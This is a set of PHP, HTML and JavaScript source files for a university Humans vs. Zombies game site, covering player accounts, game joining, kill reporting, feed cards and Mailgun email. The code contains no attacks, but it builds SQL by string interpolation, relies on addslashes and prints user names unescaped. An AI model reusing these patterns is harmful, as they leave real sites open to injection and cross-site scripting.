<div><strong><NAME></strong> (Missions - First game: Fall 2012): As missions head, Andrew is in charge of running the missions committee for planning and designing the games missions, mechanics, team points, and is in charge of organizing and running the missions during the game. Andrew is a sophomore going for a B.S in Biology with a minor in Japanese Language. Favorite HvZ Memory: "Standing outside Milam, surrounded by Hidden zombies, I was talking to a guy sitting inside, scared to go out. Finally, I said 'Screw it, I have class to get to' and walked away to hide behind a wall. He bolts out, hidden zeds run after him. He made eye contact with me, his eyes full of hate.</div>
<div><strong><NAME></strong> (Plot - First game: Fall 2011): As plot head, Jacob is in charge of running the plot committee for planning and designing the story of the game, prop construction, as well as casting characters and keeping the story current and relevant as the game progresses. Jacob is a Junior going for an Honors B.S. in Biochemistry and Biophysics. Favorite HvZ Memory: "Narrowly escaping an ambush set up for me outside of Kelly."</div>
<div><strong><NAME></strong> (Admin - First game: Fall 2012): As admin head, Karen is in charge of bookkeeping, game prep logistics, orientation, mod interviews, mod-public interface, mod recruiting, and post game review. She is a Sophomore going for a B.S. in chemical engineering. Favorite HvZ memory: "After I became a zombie, my zombie buddies and I would set up traps for humans."</div>
<div><strong><NAME></strong> (Tech. Communications - First game: Fall 2011): As Tech. Comm. head, Elizabeth is in charge of online communication between players and mods, game stats, email, facebook, and the forums. She is a Junior going for a B.S. in Biology. "My goal is to become a genetic researcher. My favorite HvZ memory would be when Pieter, Brianna and I were pinned in StAg by a bunch of zombies after an emergency mod meeting. Essentially we were camped for 2.5 hours and hid in a creepy basement until we were rescued."</div>
<div><strong><NAME></strong> (Webmaster - First game: Fall 2011): As webmaster, Lars is in charge of running and maintaining the game website, as well as dealing with any technical issues. He is a junior studying for a B.S. in chemistry.</div>
</div>
<div class="clearfix"></div>
</div> <!-- about -->
</div> <!-- body_content -->
</div> <!-- content -->
</div> <!-- content_column -->
<div id="footer_push"></div>
</div> <!-- body_container -->
<?php
require 'module/footer.php';
?>
</body>
</html>
<file_sep><?
$require_login = false;
require '../../knoopvszombies.ini.php';
require '../../www/module/includes.php';
require '../../www/module/general.php';
$sql = 'SELECT uid from game_xref where gid = 26 and status = "deceased"';
$deceased = $GLOBALS['Db']->GetRecords($sql);
$GLOBALS['User']->ClearAllUserCache();
foreach ($deceased as $user)
{
$GLOBALS['Game']->RemoveFromGame(26, $user['uid']);
}
?>
All done.
<file_sep><?php
$page_title = 'Join a Game';
$require_login = true;
$require_complete_account = true;
require '../knoopvszombies.ini.php';
require 'module/includes.php';
require 'module/general.php';
$games = $GLOBALS['Game']->GetJoinable();
$join_success = false;
$ozoptin_success = false;
$valid_game = false;
$already_joined = false;
$game_id = false;
if (isset($_GET['join']) && !isset($_GET['ozoptin']))
{
foreach ($games as $game)
{
if ($game['gid'] == $_GET['join'])
{
if ($game['registration_open'])
{
$valid_game = true;
$game_id = $_GET['join'];
}
}
}
}
$game_xref = $GLOBALS['User']->GetUserGameXrefAll($_SESSION['uid']);
$user_joined_game = array();
if (is_array($game_xref))
{
foreach ($game_xref as $xref)
{
$user_joined_game[$xref['gid']] = true;
if ($xref['gid'] === $game_id) {
$already_joined = true;
$joined_game = $GLOBALS['Game']->GetGame($_GET['join']);
$secret = $xref['secret'];
}
}
}
if ($valid_game && !$already_joined)
{
$secret = $GLOBALS['Game']->GenerateSecret($_GET['join']);
if ($GLOBALS['User']->JoinGame($_GET['join'], $_SESSION['uid'], $secret))
{
$joined_game = $GLOBALS['Game']->GetGame($_GET['join']);
$join_success = true;
$_SESSION['active_game'] = '1';
// Mail user at email address
$to = $_SESSION['email'];
$subject = "".UNIVERSITY." HvZ Game Joined";
$html = "Hello,<br>Your ".UNIVERSITY." HvZ account succesfully joined the {$joined_game['name']} game. Your Secret Game ID for this game is: $secret<br>Write down this Secret Game ID and your full name on two index cards and carry these cards with you at all times! If you are unfamiliar with the rules, please read <a href='http://".DOMAIN."/rules'>them</a> and make sure to come to an orientation session.<br>Orientation times and dates are posted on the website <a href='http://".DOMAIN."/orientations'>here</a> <br>You must attend at least one orientation! These will aquaint you with rules, gameplay, and more. Please email the moderators if you cannot attend any of the orientations.<br>";
$text = "Hello,\r\nYour ".UNIVERSITY." HvZ account succesfully joined the {$joined_game['name']} game. Your Secret Game ID for this game is: $secret\r\nWrite down this Secret Game ID and your full name on two index cards and carry these cards with you at all times! If you are unfamiliar with the rules, please read http://".DOMAIN."/rules and make sure to come to an orientation session.\r\nOrientation times and dates are posted at http://".DOMAIN."/orientations \nYou must attend at least one orientation! These will aquaint you with rules, gameplay, and more. Please email the moderators if you cannot attend any of the orientations.\r\n";
$footer = true;
$bcc = false;
$opt = array('o:campaign' => 'gj',);
$GLOBALS['Mail']->Resubscribe($to);
$GLOBALS['Mail']->HTMLMail($to, $subject, $html, $text, $footer, $bcc, $opt);
}
}
if (isset($_GET['ozoptin']) && isset($_GET['join']))
{
if ($GLOBALS['Game']->AddToOzPool($_GET['join'], $_SESSION['uid']))
{
$ozoptin_success = true;
$joined_game = $GLOBALS['Game']->GetGame($_GET['join']);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<?php
require 'module/html_head.php';
?>
<link href="//<?php echo DOMAIN; ?>/css/page/joingame.css" rel="stylesheet" type="text/css"/>
</head>
<body>
<div id="body_container">
<?php
require 'module/header.php';
?>
<div class="content_column">
<div id="content">
<div id="content_top_border">
<?php
require 'module/body_header.php';
?>
</div>
<div id="body_content">
<div id="joingame_container">
<?php
if (isset($_GET['join']) && $ozoptin_success)
{
require 'module/joingame_ozoptin.php';
}
elseif (isset($_GET['join']) && ($join_success || $already_joined))
{
require 'module/joingame_join.php';
}
else
{
require 'module/joingame_list.php';
}
?>
</div> <!-- joingame_container -->
<div class="clearfix"></div>
</div> <!-- body_content -->
</div> <!-- content -->
</div> <!-- content_column -->
<div id="footer_push"></div>
</div> <!-- body_container -->
<?php
require 'module/footer.php';
?>
</body>
</html>
<file_sep><?php
$page_title = 'Change Picture';
$require_login = true;
require '../knoopvszombies.ini.php';
require 'module/includes.php';
require 'module/general.php';
$user = $GLOBALS['User']->GetUserFromGame($_SESSION['uid']);
if (isset($_POST['action']) && $_POST['action'] == 'toggle' &&
(!$GLOBALS['state'] || !$GLOBALS['state']['active'] || $user['share_optout']) &&
!$GLOBALS['state']['archive']){
$GLOBALS['Game']->ToggleFeedOpt($GLOBALS['state']['gid'], $_SESSION['uid']);
header("Location: //".DOMAIN."/account");
}
?>
<!DOCTYPE html>
<html>
<head>
<?php
require 'module/html_head.php';
?>
<link href="//<?php echo DOMAIN; ?>/css/page/squad.css" rel="stylesheet" type="text/css"/>
</head>
<body>
<div id="body_container">
<?php
require 'module/header.php';
?>
<div class="content_column">
<div id="content">
<div id="content_top_border">
<?php
require 'module/body_header.php';
?>
</div>
<div id="body_content">
<div id="squad_container">
<div class="squad_title">
Change your <span class="accent_color">Feedsharing Options</span>
</div>
<div class="squad_header">
<p>Change whether other people are able to share feeds with you. After the game starts, you can only switch from not accepting feeds to accepting feeds. You are always able to share with others.
</div>
<div class="squad_content">
<?php if((!$GLOBALS['state'] || !$GLOBALS['state']['active'] || $user['share_optout']) &&
!$GLOBALS['state']['archive']): ?>
<form id="squad" name="changepicture" action="//<?php echo DOMAIN; ?>/togglefeed" method="POST" enctype="multipart/form-data">
<div class="squad_row">
<div class="squad_form">
<input type="hidden" name= "action" id="hiddenField" value="toggle"/>
<input type="submit" value="Toggle feedsharing" class="squad_form_submit" />
</div>
<div class="clearfix"></div>
</div>
</form>
<?php else: ?>
You cannot opt out of feedshares once the game has begun
<?php endif; ?>
</div></div>
</div>
</div> <!-- body_container -->
<div class="clearfix"></div>
</div> <!-- body_content -->
</div> <!-- content -->
</div> <!-- content_column -->
<div id="footer_push"></div>
</div> <!-- body_container -->
<?php
require 'module/footer.php';
?>
</body>
</html>
<file_sep><?php
$page_title = 'Account';
$require_login = true;
$require_complete_account = true;
require '../knoopvszombies.ini.php';
require 'module/includes.php';
require 'module/general.php';
$viewing_self = false;
if (isset($_GET['id']) && $_GET['id'] == $_SESSION['uid'])
{
unset($_GET['id']);
}
if (isset($_GET['id']))
{
if ($GLOBALS['User']->IsValidUser($_GET['id']))
{
$viewing_self = false;
$user = $GLOBALS['User']->GetUser($_GET['id']);
$historical = $GLOBALS['User']->GetHistorical($_GET['id']);
}
else
{
$user = $_SESSION;
$viewing_self = true;
$historical = $GLOBALS['User']->GetHistorical($_SESSION['uid']);
$secret = $GLOBALS['Game']->GetSecret($GLOBALS['state']['gid'], $user['uid']);
}
}
else
{
$user = $_SESSION;
$viewing_self = true;
$historical = $GLOBALS['User']->GetHistorical($_SESSION['uid']);
if ($GLOBALS['User']->IsPlayingCurrentGame($user['uid']) && $GLOBALS['state'])
{
$secret = $GLOBALS['Game']->GetSecret($GLOBALS['state']['gid'], $user['uid']);
}
}
// Do some processing to get displayable values for this page
$view_date_created = date("F Y", $user['created']);
$view_squad = '';
// If user is in a game, we need to add historical to current game stats
$view_active = 'No';
if ($GLOBALS['User']->IsPlayingCurrentGame($user['uid']) && $GLOBALS['state'])
{
//$game = $GLOBALS['Game']->GetGame($GLOBALS['state']['gid']);
$game_xref = $GLOBALS['User']->GetUserFromGame($user['uid'], $GLOBALS['state']['gid']);
$view_active = 'Yes';
}
elseif ($_SESSION)
{
if ($_SESSION['uid'] == $user['uid'])
$view_active = 'No (<a class="accent_color" href="//'.DOMAIN.'/joingame">Join a Game</a>)';
}
// OZ Pool
$show_oz_pool = false;
$in_oz_pool = false;
if ($viewing_self && $GLOBALS['User']->IsPlayingCurrentGame($user['uid']) && $GLOBALS['state']) {
$show_oz_pool = true;
$oz_pool = $GLOBALS['Game']->GetOZPool($GLOBALS['state']['gid']);
if (is_array($oz_pool)) {
foreach ($oz_pool as $oz) {
if ($oz['uid'] == $user['uid']) {
$in_oz_pool = true;
}
}
}
if ($in_oz_pool) {
$oz_pool_status = 'Yes (<a class="accent_color" href="//'.DOMAIN.'/toggleozpool">Toggle</a>)';
} else {
$oz_pool_status = 'No (<a class="accent_color" href="//'.DOMAIN.'/toggleozpool">Toggle</a>)';
}
}
$show_feedopt = false;
$feedopt = false;
if ($viewing_self && $GLOBALS['User']->IsPlayingCurrentGame($user['uid']) && $GLOBALS['state']) {
$show_feedopt = true;
$view_feedopt = ($game_xref['share_optout'] ? "Not Accepting Feedshares" : "Accepting Feedshares");
if (($game_xref['share_optout'] || !$GLOBALS['state']['active']) && !$GLOBALS['state']['archive']) {$view_feedopt .= ' (<a class="accent_color" href="//'.DOMAIN.'/togglefeed">Toggle</a>)';}
}
if (isset($historical['zombie_kills']))
$view_zombie_kills = $historical['zombie_kills'];
else
$view_zombie_kills = 0;
if (isset($game_xref))
{
// only add current kills if the game is not archived and is set current
// otherwise kills and timealive get double counted when game is archived but no new one has been created yet.
if ($GLOBALS['state'] && !$GLOBALS['state']['archive'] && $GLOBALS['state']['current'])
{
// if the person is an oz and oz hidden, dont add their kills
if ($GLOBALS['state'] && (($GLOBALS['state']['oz_hidden'] && !$game_xref['oz']) || !$GLOBALS['state']['oz_hidden']))
{
$view_zombie_kills = $view_zombie_kills + $game_xref['zombie_kills'];
}
}
}
if (isset($historical['time_alive']))
{
$ta_totaltime = $historical['time_alive'];
}
else
{
$ta_totaltime = 0;
}
$curr_totaltime = 0;
if (isset($game_xref))
{
if ($GLOBALS['state'] && $GLOBALS['state']['active'] && !$GLOBALS['state']['archive'] && $GLOBALS['state']['current'])
{
// Three cases:
// 1. Player is an OZ
// 2. Player is now a zombie or deceased
// 3. Player is still a human
if ($game_xref['oz'])
{
// Two cases:
// 1. OZs are hidden
// 2. OZs are NOT hidden
if ($GLOBALS['state']['oz_hidden'])
{
// Fake add up their time so people think they are human
$curr_totaltime = date("U") - $GLOBALS['state']['start_time'];
}
else
{
// Okay now they are like a regular zombie, add up their time
// (ie, do not add up their time. They were never alive this game)
}
}
elseif ($game_xref['status'] == 'zombie' || $game_xref['status'] == 'deceased')
{
$curr_totaltime = $game_xref['zombied_time'] - $GLOBALS['state']['start_time'];
}
elseif ($game_xref['status'] == 'human')
{
$curr_totaltime = date("U") - $GLOBALS['state']['start_time'];
}
}
// Add up the current game time with the historical time
$ta_totaltime = $ta_totaltime + $curr_totaltime;
}
$ta_days = floor($ta_totaltime / (60*60*24));
if ($ta_totaltime - (60*60*24*$ta_days) >= 0)
$ta_totaltime = $ta_totaltime - (60*60*24*$ta_days);
$ta_hours = floor($ta_totaltime / (60*60));
if ($ta_totaltime - (60*60*$ta_hours) >= 0)
$ta_totaltime = $ta_totaltime - (60*60*$ta_hours);
$ta_minutes = floor($ta_totaltime / (60));
if ($ta_days >= 0)
$view_time_alive = "$ta_days days, $ta_hours hours and $ta_minutes minutes";
else
$view_time_alive = "0 days, 0 hours and 0 minutes";
if ($user['using_fb'] && $user['fb_image'])
{
$view_account_img_src = '//graph.facebook.com/'.$user['fb_id'].'/picture?type=large';
}
else
{
$view_account_img_src = '//'.DOMAIN.'/img/user/u'.$user['uid'].'.jpg';
}
if ($user['squad_name'] == '')
{
$squad = '(none)';
}
else
{
$squad = $user['squad_name'];
}
?>
<!DOCTYPE html>
<html>
<head>
<?php
require 'module/html_head.php';
?>
<link href="//<?php echo DOMAIN; ?>/css/page/account.css" rel="stylesheet" type="text/css"/>
</head>
<body>
<div id="body_container">
<?php
require 'module/header.php';
?>
<div class="content_column">
<div id="content">
<div id="content_top_border">
<?php
require 'module/body_header.php';
?>
</div>
<div id="body_content">
<div id="account_picture">
<img src="<?php echo $view_account_img_src ?>" />
</div>
<div id="account_container">
<div id="account_title">
<?php echo $user['name']; ?> <?php if ($_SESSION['admin']) echo '('.$user['uid'].')'; ?> <?php if ($user['using_fb']) echo '<a class="accent_color" href="//www.facebook.com/profile.php?id='.$user['fb_id'].'">(View Facebook Profile)</a>'; ?>
</div>
<div class="account_content">
<?php require 'module/account_overview.php'; ?>
</div>
</div> <!-- account_container -->
<div class="clearfix"></div>
</div> <!-- body_content -->
</div> <!-- content -->
</div> <!-- content_column -->
<div id="footer_push"></div>
</div> <!-- body_container -->
<?php
require 'module/footer.php';
?>
</body>
</html>
<file_sep><?php
$require_login = false;
require '../../knoopvszombies.ini.php';
require '../../www/module/includes.php';
require '../../www/module/general.php';
$all_users = $GLOBALS['User']->GetAccounts('all', 1);
$sql = 'SELECT gid, start_time, end_time from game where archive = 1';
$games = $GLOBALS['Db']->GetRecords($sql);
$GLOBALS['User']->ClearAllUserCache();
foreach ($all_users as $user)
{
$kills = 0;
$human_time = 0;
foreach ($games as $game){
$row = $GLOBALS['User']->GetUserFromGame($user['uid'], $game['gid']);
$GLOBALS['User']->ClearAllUserCache();
if ($row) {
$kills += $row['zombie_kills'];
$lived_until = ($row['zombied_time'] >= $game['start_time'] ? $row['zombied_time'] : $game['end_time']);
$human_time += $lived_until - $game['start_time'];
}
}
$sql = "UPDATE historical SET zombie_kills = $kills, time_alive = $human_time WHERE uid = '".$user['uid']."'";
$GLOBALS['Db']->Execute($sql);
}
?>
All done.
<file_sep><?php
$require_login = true;
require '../knoopvszombies.ini.php';
require 'module/includes.php';
require 'module/general.php';
if (!$GLOBALS['User']->RateLimit(1)) {
header('X-PHP-Response-Code: 429', true, 403);
echo(json_encode(array('error' => 'Too many requests; please wait before trying again.')));
exit;
}
if (!isset($_GET['secret'])) {
header('X-PHP-Response-Code: 400', true, 400);
exit;
}
if (!$GLOBALS['state'] || !$GLOBALS['state']['active']) {
header('X-PHP-Response-Code: 404', true, 404);
echo(json_encode(array('error' => 'No active game')));
exit;
}
$secret = $_GET['secret'];
$check = $GLOBALS['Game']->CheckSecretValid($GLOBALS['state']['gid'], $secret, true);
if ($check[0]) {
header('X-PHP-Response-Code: 200', true, 200);
header('x-check: '.$check[1]);
echo(json_encode(array('time' => $check[2])));
exit;
} else {
header('X-PHP-Response-Code: 404', true, 404);
echo(json_encode(array('error' => $check[1])));
exit;
}
?>
<file_sep><?php
/**
* Mail class
*
* Handles mail activity
*
* @access public
*/
class Mail {
/**
* Sends a simple mail message to $to, with $body as the body
* and $subject as the subject
*
* @return bool
*/
function SimpleMail($to, $subject, $body, $attachFooter = true, $bcc = false, $opt = false, $from = false) {
$mg_from = ($from ? $from : "".UNIVERSITY." Humans vs. Zombies <".EMAIL.">");
$sig = "\r\nThanks,\n".UNIVERSITY." Humans vs. Zombies";
$mg_api = MAILGUN_API_KEY;
$mg_version = 'api.mailgun.net/v2/';
$mg_domain = "osundead.com";
$mg_reply_to_email = EMAIL_REPLY_TO;
$mg_message_url = "https://".$mg_version.$mg_domain."/messages";
// $to can be single email or comma seperated
$emails = explode(',', $to);
$max_size = 500;
$sent = 0;
while ($sent < sizeof($emails)) {
$block = array_slice($emails, $sent, $max_size);
$to = implode(',', $block);
$ch = curl_init();
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, 'api:' . $mg_api);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_URL, $mg_message_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$postfields = array( 'from' => $mg_from,
'h:Reply-To' => '<' . $mg_reply_to_email . '>',
'subject' => $subject,
'text' => $body,
'o:tracking-clicks' => 'no',
);
if ($bcc) {
$postfields["bcc"] = $to;
$postfields["to"] = ARCHIVE_EMAIL;
} else {
$postfields["to"] = $to;
}
if ($opt) {
foreach ($opt as $option => $value){
$postfields[$option] = $value;
}
}
curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);
$result = curl_exec($ch);
curl_close($ch);
$res = json_decode($result,TRUE);
$sent += $max_size;
}
return $res;
}
function HTMLMail($to, $subject, $html, $plaintext, $attachFooter = true, $bcc = false, $opt = false, $from = false) {
$mg_from = ($from ? $from : "".UNIVERSITY." Humans vs. Zombies <".EMAIL.">");
$sig = "\r\nThanks,\n".UNIVERSITY." Humans vs. Zombies";
$mg_api = MAILGUN_API_KEY;
$mg_version = 'api.mailgun.net/v2/';
$mg_domain = "osundead.com";
$mg_reply_to_email = EMAIL_REPLY_TO;
$mg_message_url = "https://".$mg_version.$mg_domain."/messages";
// $to can be single email or comma seperated
$ch = curl_init();
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, 'api:' . $mg_api);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_URL, $mg_message_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$postfields = array( 'from' => $mg_from,
'h:Reply-To' => '<' . $mg_reply_to_email . '>',
'subject' => $subject,
'html' => $html,
'text' => $plaintext,
'o:tracking-clicks'=> 'htmlonly',
);
if ($bcc) {
$postfields["bcc"] = $to;
$postfields["to"] = ARCHIVE_EMAIL;
} else {
$postfields["to"] = $to;
}
if ($opt) {
foreach ($opt as $option => $value){
$postfields[$option] = $value;
}
}
curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);
$result = curl_exec($ch);
curl_close($ch);
$res = json_decode($result,TRUE);
return $res;
}
/*
* Removes an address from the unsubscribe list hosted by Mailgun
*
* @return mixed
*/
function Resubscribe($email) {
$mg_api = MAILGUN_API_KEY;
$mg_version = 'api.mailgun.net/v2/';
$mg_domain = "osundead.com";
$url = 'https://'.$mg_version.$mg_domain."/unsubscribes/".$email;
$ch = curl_init();
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_USERPWD, 'api:' . $mg_api);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "DELETE");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
$result = json_decode($result);
curl_close($ch);
return $result;
}
/*
* Validates an email address per PHP standard
*
* @return bool
*/
function ValidateEmailAddr($email) {
if ( filter_var($email, FILTER_VALIDATE_EMAIL) == TRUE) {
return true;
} else {
return false;
}
}
/*
* Returns an array of email addresses matching the $type
*
*/
function GetEmailAddresses($type) {
switch ($type) {
case "currentplayers":
if ($GLOBALS['state']) {
$sql = "SELECT u.email FROM game_xref g_x LEFT JOIN user u ON g_x.uid = u.uid WHERE g_x.gid='{$GLOBALS['state']['gid']}'";
} else {
return array();
}
break;
case "currenthumans":
if ($GLOBALS['state']) {
$sql = "SELECT u.email FROM game_xref g_x LEFT JOIN user u ON g_x.uid = u.uid WHERE g_x.gid='{$GLOBALS['state']['gid']}' AND status='human'";
} else {
return array();
}
break;
case "currentzombies":
if ($GLOBALS['state']) {
$sql = "SELECT u.email FROM game_xref g_x LEFT JOIN user u ON g_x.uid = u.uid WHERE g_x.gid='{$GLOBALS['state']['gid']}' AND status='zombie'";
} else {
return array();
}
break;
case "currentdeceased":
if ($GLOBALS['state']) {
$sql = "SELECT u.email FROM game_xref g_x LEFT JOIN user u ON g_x.uid = u.uid WHERE g_x.gid='{$GLOBALS['state']['gid']}' AND status='deceased'";
} else {
return array();
}
break;
case "notattendedorientation":
if ($GLOBALS['state']) {
$sql = "SELECT u.email FROM game_xref g_x LEFT JOIN user u ON g_x.uid = u.uid WHERE g_x.gid='{$GLOBALS['state']['gid']}' AND attended_orientation='0'";
} else {
return array();
}
break;
case "allusers":
$sql = "SELECT u.email FROM user u WHERE email_confirmed = 1";
break;
}
$results = $GLOBALS['Db']->GetRecords($sql);
$return = null;
if (is_array($results) && count($results) > 0) {
$i = 0;
foreach ($results as $key => $val) {
$return[$i] = $val['email'];
$i++;
}
return $return;
} else {
return array();
}
}
}
?>
<file_sep> <form id="reportakill" name="reportakill" action="http://<?php echo DOMAIN; ?>/report/submit" method="POST" data-parsley-validate>
<?php
$playerArray = $GLOBALS['Game']->GetPlayers($GLOBALS['state']['gid'], 'all', null, 'starve_time');
?>
<div class="step1 show">
<div class="reportakill_row">
<div class="reportakill_label">
Enter a Secret Game ID:
</div>
<div class="reportakill_form">
<input type="text" name="secret" id="secret" class="reportakill_form_input" data-parsley-remote data-parsley-remote-validator='checksecret' data-parsley-group="step1"/>
</div>
</div>
<div class="clearfix"></div>
<div class="reportakill_row">
<span class="next btn btn-info pull-right" data-current-block="1" data-next-block="2">Next ></span>
</div>
<div class="clearfix"></div>
</div>
<script>
jQuery('#secret').parsley().addAsyncValidator(
'checksecret', function (xhr) {
var UserLogin = $('#secret').parsley();
window.ParsleyUI.removeError(UserLogin,'errorUsername');
response = $.parseJSON(xhr.responseText);
if(xhr.status == '200') {
killtime = parseInt(response.time);
return 200;
}
if(xhr.status != '200') {
window.ParsleyUI.addError(UserLogin,'errorUsername',response.error);
return false;
}
}, '/checksecret'
);
</script>
<script type="text/javascript">
$(document).ready(function () {
$('.next').on('click', function () {
var current = $(this).data('currentBlock'),
next = $(this).data('nextBlock');
console.log('click');
// only validate going forward. If current group is invalid, do not go further
// .parsley().validate() returns validation result AND show errors
if (next > current) {
console.log('check');
$('#reportakill').parsley().unsubscribe('parsley:form:success');
$('#reportakill').parsley().subscribe('parsley:form:success', function () {
// individual validation
if (current === 1) {
currenttime = <?php echo($user_game['zombie_feed_timer'] + ZOMBIE_MAX_FEED_TIMER - time()) ?>;
maxtime = <?php echo(ZOMBIE_MAX_FEED_TIMER); ?>;
$('#self_time').val( Math.ceil(Math.min(maxtime - currenttime, killtime) / 3600));
$('#self_time').attr('data-parsley-max', Math.ceil(Math.min(maxtime - currenttime, killtime) / 3600));
$('#time1').text(killtime/3600);
}
if (current === 2) {
var remtime = killtime - $('#self_time').val() * 3600;
$('#time2').text(remtime/3600);
$('#feed1_time').val(remtime/3600);
$('#feed1_time').attr('data-parsley-max', remtime / 3600);
}
if (current === 3) {
var remtime = killtime - $('#self_time').val() * 3600 - $('#feed1_time').val() * 3600;
$('#time3').text(remtime/3600);
}
console.log('event css');
$('.step' + current)
.removeClass('show')
.addClass('hidden');
$('.step' + next)
.removeClass('hidden')
.addClass('show');
});
//include loading dialogue here
console.log('asyncvalidate');
$('#reportakill').parsley().asyncValidate('step'+current);
return;
}
// validation was ok. We can go on next step.
console.log('css');
$('.step' + current)
.removeClass('show')
.addClass('hidden');
$('.step' + next)
.removeClass('hidden')
.addClass('show');
});
});
</script>
<div class="step2 hidden">
<div class="reportakill_row">
<div class="reportakill_label">Total feed time: <a id="time1">??</a> hours</div>
</div>
<div class="clearfix"></div>
<div class="reportakill_row">
<div class="reportakill_label">Hours for you:</div>
<div class="reportakill_form">
<input type="text" name="self_time" id="self_time" value = "48" class="reportakill_form_input" data-parsley-type="digits" data-parsley-group="step2" required>
</div>
<div class="clearfix"></div>
</div>
<div class="reportakill_row">
<span class="next btn btn-info pull-left" data-current-block="2" data-next-block="1">< Previous</span>
<span class="next btn btn-info pull-right" data-current-block="2" data-next-block="3">Next ></span>
</div>
<div class="clearfix"></div>
</div>
<div class="step3 hidden">
<div class="reportakill_row">
<div class="reportakill_label">Time Remaining: <a id="time2">??</a> hours</div>
</div>
<div class="clearfix"></div>
<div class="reportakill_row">
<div class="reportakill_label">
Zombie to Feed (#1):
</div>
<div class="reportakill_form">
<select name="feed1" class="reportakill_form_select">
<?php
if (is_array($playerArray))
{
foreach ($playerArray as $player)
{
if ($player['status'] == 'zombie' && $player['uid'] != $_SESSION['uid'] && !$player['share_optout'])
{
if (($GLOBALS['state']['oz_hidden'] && !$player['oz']) || !$GLOBALS['state']['oz_hidden'])
{
$now = date("U");
$starve_time = $player['zombie_feed_timer'] + ZOMBIE_MAX_FEED_TIMER;
$hours_left = ceil(($starve_time - $now) / (60*60));
$kills = $player['zombie_kills'];
echo "<option value='{$player['uid']}'>{$player['name']} ($hours_left hours left, $kills tags)</option>";
}
}
}
}
?>
</select>
</div>
</div>
<div class="clearfix"></div>
<div class="reportakill_row">
<div class="reportakill_label">
Hours to give:
</div>
<div class="reportakill_form">
<input type="text" name="feed1_time" id="feed1_time" value = "48" class="reportakill_form_input" data-parsley-type="digits" data-parsley-group="step3" required>
</div>
</div>
<div class="clearfix"></div>
<div class="reportakill_row">
<span class="next btn btn-info pull-left" data-current-block="3" data-next-block="2">< Previous</span>
<span class="next btn btn-info pull-right" data-current-block="3" data-next-block="4">Next ></span>
</div>
<div class="clearfix"></div>
</div>
<div class ="step4 hidden">
<div class="reportakill_row">
<div class="reportakill_label">Time Remaining: <a id="time3">??</a> hours</div>
</div>
<div class="clearfix"></div>
<div class ="reportakill_row">
<div class="reportakill_label">
Zombie to Feed (#2):
</div>
<div class="reportakill_form">
<select name="feed2" class="reportakill_form_select">
<?php
if (is_array($playerArray))
{
foreach ($playerArray as $player)
{
if ($player['status'] == 'zombie' && $player['uid'] != $_SESSION['uid'] && !$player['share_optout'])
{
if (($GLOBALS['state']['oz_hidden'] && !$player['oz']) || !$GLOBALS['state']['oz_hidden'])
{
$now = date("U");
$starve_time = $player['zombie_feed_timer'] + ZOMBIE_MAX_FEED_TIMER;
$hours_left = ceil(($starve_time - $now) / (60*60));
$kills = $player['zombie_kills'];
echo "<option value='{$player['uid']}'>{$player['name']} ($hours_left hours left, $kills tags)</option>";
}
}
}
}
?>
</select>
</div>
<div class="clearfix"></div>
<div class="reportakill_row">
<div class="reportakill_label">(They will recieve all remaining time)</div>
</div>
<div class="clearfix"></div>
</div>
<div class="reportakill_row">
<span class="next btn btn-info pull-left" data-current-block="4" data-next-block="3">< Previous</span>
<input type="submit" value="Report Tag" class="btn btn-default pull-right" />
<div class="clearfix"></div>
</div>
</div>
</form>
<script type="text/javascript">
$(document).ready(function () {
$('.next').on('click', function () {
var current = $(this).data('currentBlock'),
next = $(this).data('nextBlock');
// only validate going forward. If current group is invalid, do not go further
// .parsley().validate() returns validation result AND show errors
if (next > current)
if (false === $('#reportakill').parsley().validate('block' + current))
return;
// validation was ok. We can go on next step.
$('.block' + current)
.removeClass('show')
.addClass('hidden');
$('.block' + next)
.removeClass('hidden')
.addClass('show');
});`
});
</script>
<file_sep><?php
$message = false;
if (isset($_GET['action']) && $_GET['action'] == 'save') {
$number = addslashes($_POST['number']);
$hours = addslashes($_POST['time']);
$expiry = addslashes($_POST['expiry']);
$kill = (isset($_POST['kill'])) ? '1' : '0';
if ($number > 500) {
$message = 'Max 500 cards at once';
goto error;
}
$hours = floor($hours * 3600);
if ($expiry != '' && !$expiry = strtotime($expiry)){ //this is far too clever for my own good
$message = 'Invalid expiration date';
goto error;
}
$ids = $GLOBALS['Game']->AddFeedCards($GLOBALS['state']['gid'], $number, $hours, $expiry, $kill);
foreach ($ids as $id) {
echo $id."<br>";
}
return;
}
if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['target'])) {
$GLOBALS['Game']->DeleteFeedCard($GLOBALS['state']['gid'], $_GET['target']);
$message = 'Feed card deleted';
}
error:
?>
<div id="admin_title">
Feed Cards
</div>
<?php if ($message): ?>
<div class="admin_status">
<?php
echo($message);
?>
</div>
<?php endif ?>
<div class="gameplay_block_title">
Create:
</div>
<form class="playerlist_add_form" name="playerlist_add_form" action="http://<?php echo DOMAIN; ?>/admin/feed/save" method="POST">
<div class="admin_playerlist_edit_row_container">
<div class="admin_playerlist_edit_row_label">
Number of Cards:
</div>
<div class="admin_playerlist_edit_row_form">
<input type="text" name="number" value="20" />
</div>
</div>
<div class="admin_playerlist_edit_row_container">
<div class="admin_playerlist_edit_row_label">
Hours:
</div>
<div class="admin_playerlist_edit_row_form">
<input type="text" name="time" value="60" />
</div>
</div>
<div class="admin_playerlist_edit_row_container">
<div class="admin_playerlist_edit_row_label">
Expiration:
</div>
<div class="admin_playerlist_edit_row_form">
<input type="text" name="expiry" />
</div>
</div>
<div class="admin_playerlist_edit_row_container">
<div class="admin_playerlist_edit_row_label">
</div>
<div class="admin_playerlist_edit_row_form">
(YYYY:MM:DD HH:MM:SS, 24hr format. Blank for no expiration)
</div>
</div>
